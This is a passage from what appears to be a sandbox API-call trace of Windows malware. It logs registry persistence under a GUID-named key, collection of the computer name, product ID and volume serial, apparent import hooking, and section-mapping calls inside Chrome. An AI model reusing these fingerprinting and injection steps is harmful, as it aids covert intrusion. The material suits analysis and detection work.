[0073.616] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="LoadResource", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="SizeofResource", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="GlobalReAlloc", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="CompareStringOrdinal", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0073.616] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0073.616] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0073.617] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0073.617] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.617] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.617] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0073.617] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.617] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.617] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.617] lstrcmpiA (lpString1="WINMM.dll", lpString2="KERNEL32.DLL") returned 1 [0073.617] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2041000 | out: hHeap=0x2030000) returned 1 [0073.617] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87b0000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fef87b0000, AllocationBase=0x7fef87b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.617] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.617] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2041000 [0073.617] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.617] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.617] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.617] lstrcmpiA (lpString1="GlobalHandle", lpString2="LoadLibraryExW") returned -1 [0073.617] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0073.617] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.617] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.617] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0073.617] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0073.617] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0073.617] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0073.617] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0073.617] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0073.617] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0073.617] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0073.617] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0073.617] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0073.617] lstrcmpiA (lpString1="GetProfileStringW", lpString2="LoadLibraryExW") returned -1 [0073.617] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="LoadLibraryExW") returned -1 [0073.617] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2041000 | out: hHeap=0x2030000) returned 1 [0073.617] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbbe0000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefbbe0000, AllocationBase=0x7fefbbe0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.618] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.618] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2041000 [0073.618] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.618] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.618] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.618] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.618] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.618] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.618] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0073.618] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0073.618] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.618] VirtualProtect (in: lpAddress=0x7fefbbe1728, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x20) returned 1 [0073.691] VirtualProtect (in: lpAddress=0x7fefbbe1728, dwSize=0x8, flNewProtect=0x20, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x40) returned 1 [0073.691] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcf70000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefcf70000, AllocationBase=0x7fefcf70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0xffffffff)) returned 0x30 [0073.691] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.691] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x2041070 [0073.691] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0073.691] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0073.691] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0073.691] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.691] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.691] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.691] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.691] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.691] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.691] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.691] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.691] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.691] lstrcmpiA (lpString1="API-MS-Win-Core-DelayLoad-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.691] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="KERNEL32.DLL") returned -1 [0073.691] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0073.691] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2041070 | out: hHeap=0x2030000) returned 1 [0073.691] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242ee30 | out: hHeap=0x2030000) returned 1 [0073.691] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030da0 | out: hHeap=0x2030000) returned 1 [0073.691] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegOpenKeyA") returned 0x7fefd71d6d0 [0073.691] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x23edb0 | out: phkResult=0x23edb0*=0xe8) returned 0x0 [0073.692] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegQueryValueExA") returned 0x7fefd72c480 [0073.692] RegQueryValueExA (in: hKey=0xe8, lpValueName="Client", lpReserved=0x0, lpType=0x23ed40, lpData=0x0, lpcbData=0x23eda0*=0x0 | out: lpType=0x23ed40*=0x3, lpData=0x0, lpcbData=0x23eda0*=0x2c) returned 0x0 [0073.692] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x2c) returned 0x242ff90 [0073.692] RegQueryValueExA (in: hKey=0xe8, lpValueName="Client", lpReserved=0x0, lpType=0x23ed40, lpData=0x242ff90, lpcbData=0x23eda0*=0x2c | out: lpType=0x23ed40*=0x3, lpData=0x242ff90*, lpcbData=0x23eda0*=0x2c) returned 0x0 [0073.692] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegCloseKey") returned 0x7fefd730710 [0073.692] RegCloseKey (hKey=0xe8) returned 0x0 [0073.692] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242ff90 | out: hHeap=0x2030000) returned 1 [0073.692] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config", phkResult=0x23ed30 | out: phkResult=0x23ed30*=0x0) returned 0x2 [0073.692] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegCreateKeyA") returned 0x7fefd717c50 [0073.692] RegCreateKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x23ede0 | out: phkResult=0x23ede0*=0xe8) returned 0x0 [0073.692] RegQueryValueExA (in: hKey=0xe8, lpValueName="Client", lpReserved=0x0, lpType=0x23edd8, lpData=0x1e57ba0, lpcbData=0x23edd0*=0x2c | out: lpType=0x23edd8*=0x3, lpData=0x1e57ba0*, lpcbData=0x23edd0*=0x2c) returned 0x0 [0073.692] RegCloseKey (hKey=0xe8) returned 0x0 [0073.692] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242ff90 [0073.692] wsprintfA (in: param_1=0x242ff90, param_2="%08x%08x%08x%08x" | out: param_1="c1bfad56d6eccbb57e3f355780659e32") returned 32 [0073.692] GetComputerNameA (in: lpBuffer=0x23ecc0, nSize=0x23edd0 | out: lpBuffer="YKYD69Q", nSize=0x23edd0) returned 1 [0073.693] lstrlenA (lpString="YKYD69Q") returned 7 [0073.693] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegOpenKeyExA") returned 0x7fefd72b5f0 [0073.693] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x23ecb0 | out: phkResult=0x23ecb0*=0xe8) returned 0x0 [0073.693] RegQueryValueExA (in: hKey=0xe8, lpValueName="ProductID", lpReserved=0x0, lpType=0x0, lpData=0x23ecc0, lpcbData=0x23edd0*=0x100 | out: lpType=0x0, lpData=0x23ecc0*=0x30, lpcbData=0x23edd0*=0x18) returned 0x0 [0073.693] lstrlenA (lpString="00371-223-0192772-86275") returned 23 [0073.693] RegQueryValueExA (in: hKey=0xe8, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x23ecc0, lpcbData=0x23edd0*=0x100 | out: lpType=0x0, lpData=0x23ecc0*=0x57, lpcbData=0x23edd0*=0x17) returned 0x0 [0073.693] lstrlenA (lpString="Windows 7 Professional") returned 22 [0073.693] RegQueryValueExA (in: hKey=0xe8, lpValueName="CurrentVersion", lpReserved=0x0, lpType=0x0, lpData=0x23ecc0, lpcbData=0x23edd0*=0x100 | out: lpType=0x0, lpData=0x23ecc0*=0x36, lpcbData=0x23edd0*=0x4) returned 0x0 [0073.693] lstrlenA (lpString="6.1") returned 3 [0073.693] RegQueryValueExA (in: hKey=0xe8, lpValueName="InstallDate", lpReserved=0x0, lpType=0x0, lpData=0x23ecb8, lpcbData=0x23edd0*=0x4 | out: lpType=0x0, lpData=0x23ecb8*=0x8a, lpcbData=0x23edd0*=0x4) returned 0x0 [0073.693] RegCloseKey (hKey=0xe8) returned 0x0 [0073.693] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x23ede8, lpMaximumComponentLength=0x23edd0, lpFileSystemFlags=0x23ede0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x23ede8*=0x705ba84c, lpMaximumComponentLength=0x23edd0*=0xff, lpFileSystemFlags=0x23ede0*=0x3e700ff, lpFileSystemNameBuffer=0x0) returned 1 [0073.693] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x30) returned 0x2030da0 [0073.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e0bf48, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x23ee10 | out: lpThreadId=0x23ee10*=0xba4) returned 0xe8 [0073.695] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x23ee20 | out: phkResult=0x23ee20*=0xec) returned 0x0 [0073.695] RegQueryValueExA (in: hKey=0xec, lpValueName="Scr", lpReserved=0x0, lpType=0x23eda0, lpData=0x0, lpcbData=0x23ee88*=0xffffffff | out: lpType=0x23eda0*=0x0, lpData=0x0, lpcbData=0x23ee88*=0x0) returned 0x2 [0073.695] RegCloseKey (hKey=0xec) returned 0x0 [0073.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1df7770, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x23ee10 | out: lpThreadId=0x23ee10*=0xba8) returned 0xec [0073.696] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.696] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0073.696] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.696] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef9a10000 [0073.696] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.696] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.696] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0073.697] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.697] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0073.697] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.697] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0073.697] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.697] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77040000 [0073.697] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.697] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.697] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0073.697] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.698] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0073.698] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.698] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77040000 [0073.698] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.698] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.698] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0073.699] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.699] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0073.699] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.699] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0073.699] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.699] LoadLibraryExW (lpLibFileName="api-ms-win-core-datetime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0073.699] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.699] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-obsolete-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0073.705] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0073.705] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 Thread: id = 66 os_tid = 0xba4 Thread: id = 67 os_tid = 0xba8 Thread: id = 68 os_tid = 0xbac Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x11857000" os_pid = "0xf0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0xb54" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e25b" [0xc000000f], "LOCAL" [0x7] Thread: id = 73 os_tid = 0xac0 Thread: id = 74 os_tid = 0x7e0 Thread: id = 75 os_tid = 0x7d4 Thread: id = 76 os_tid = 0x7c4 Thread: id = 77 os_tid = 0x7ac Thread: id = 78 os_tid = 0x788 Thread: id = 79 os_tid = 0x778 Thread: id = 80 os_tid = 0x770 Thread: id = 81 os_tid = 0x144 Thread: id = 82 os_tid = 0x15c Thread: id = 83 os_tid = 0x128 Thread: id = 84 os_tid = 0x12c Thread: id = 85 os_tid = 0x11c Thread: id = 201 os_tid = 0x4fc Thread: id = 285 os_tid = 0xb24 Thread: id = 394 os_tid = 0xbfc Thread: id = 395 os_tid = 0x824 Thread: id = 399 os_tid = 0x9d4 Thread: id = 400 os_tid = 0x938 Thread: id = 401 os_tid = 0x8e0 Thread: id = 407 os_tid = 0x610 Thread: id = 410 os_tid = 0x974 Thread: id = 412 os_tid = 0x35c Thread: id = 413 os_tid = 0x8e4 Thread: id = 414 os_tid = 0x880 Thread: id = 415 os_tid = 0x6ac Thread: id = 416 os_tid = 0x9c0 Thread: id = 417 os_tid = 0x9d0 Thread: id = 419 os_tid = 0xb64 Thread: id = 421 os_tid = 0xa20 Thread: id = 524 os_tid = 0x9e8 Thread: id = 530 os_tid = 0xa84 Thread: id = 539 os_tid = 0x570 Thread: id = 547 os_tid = 0x8fc Thread: id = 555 os_tid = 0x820 Thread: id = 558 os_tid = 0xb74 Thread: id = 579 os_tid = 0xa44 Thread: id = 588 os_tid = 0x9c8 Thread: id = 592 os_tid = 0x51c Thread: id = 595 os_tid = 0xa08 Process: id = "10" image_name = "chrome.exe" filename = "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe" page_root = "0x6ec46000" os_pid = "0xbd4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xb70" cmd_line = "\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=watcher --main-thread-id=2932 --on-initialized-event-handle=392 --parent-handle=396 /prefetch:6" cur_dir = "C:\\Program Files (x86)\\Google\\Chrome\\Application\\59.0.3071.115\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 90 os_tid = 0xbd8 [0079.002] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ntdll.dll", BaseAddress=0x27f088 | out: BaseAddress=0x27f088*=0x77160000) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwOpenProcess", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b1570) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryInformationToken", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b1520) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwClose", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b1400) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtUnmapViewOfSection", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b15b0) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtMapViewOfSection", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b1590) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtCreateSection", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b17b0) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlRandomEx", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7719dce0) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="NtQuerySystemInformation", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b1670) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlNtStatusToDosError", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b5110) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryInformationProcess", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b14a0) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memcmp", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771aea60) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_strupr", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771e8fdc) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_wcsupr", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771e9560) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memmove", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771ae6d0) returned 0x0 [0079.003] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="bsearch", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b7df4) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_vsnwprintf", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77190880) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_strlwr", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771e8fb0) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="atoi", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771665e4) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="strstr", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771eac00) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="wcscpy", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771eb380) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlFreeUnicodeString", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b5610) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwQueryKey", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b1470) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlUpcaseUnicodeString", Ordinal=0x0, ProcedureAddress=0x27f070 | out: 